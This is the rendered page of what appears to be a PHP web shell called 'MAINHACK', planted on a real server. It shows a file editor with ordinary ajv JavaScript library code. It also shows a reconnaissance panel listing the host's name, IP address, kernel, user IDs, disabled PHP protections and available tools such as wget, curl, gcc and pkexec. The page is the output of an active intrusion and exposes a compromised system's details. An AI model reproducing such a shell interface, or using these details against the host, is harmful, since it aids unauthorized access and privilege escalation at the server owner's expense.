[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: select.js
'use strict'; var util = require('./_util'); module.exports = function defFunc(ajv) { if (!ajv._opts.$data) { console.warn('keyword select requires $data option'); return ajv; } var metaSchemaRef = util.metaSchemaRef(ajv); var compiledCaseSchemas = []; defFunc.definition = { validate: function v(schema, data, parentSchema) { if (parentSchema.selectCases === undefined) throw new Error('keyword "selectCases" is absent'); var compiled = getCompiledSchemas(parentSchema, false); var validate = compiled.cases[schema]; if (validate === undefined) validate = compiled.default; if (typeof validate == 'boolean') return validate; var valid = validate(data); if (!valid) v.errors = validate.errors; return valid; }, $data: true, metaSchema: { type: ['string', 'number', 'boolean', 'null'] } }; ajv.addKeyword('select', defFunc.definition); ajv.addKeyword('selectCases', { compile: function (schemas, parentSchema) { var compiled = getCompiledSchemas(parentSchema); for (var value in schemas) compiled.cases[value] = compileOrBoolean(schemas[value]); return function() { return true; }; }, valid: true, metaSchema: { type: 'object', additionalProperties: metaSchemaRef } }); ajv.addKeyword('selectDefault', { compile: function (schema, parentSchema) { var compiled = getCompiledSchemas(parentSchema); compiled.default = compileOrBoolean(schema); return function() { return true; }; }, valid: true, metaSchema: metaSchemaRef }); return ajv; function getCompiledSchemas(parentSchema, create) { var compiled; compiledCaseSchemas.some(function (c) { if (c.parentSchema === parentSchema) { compiled = c; return true; } }); if (!compiled && create !== false) { compiled = { parentSchema: parentSchema, cases: {}, default: true }; compiledCaseSchemas.push(compiled); } return compiled; } function compileOrBoolean(schema) { return typeof schema == 'boolean' ? schema : ajv.compile(schema); } };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.74 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002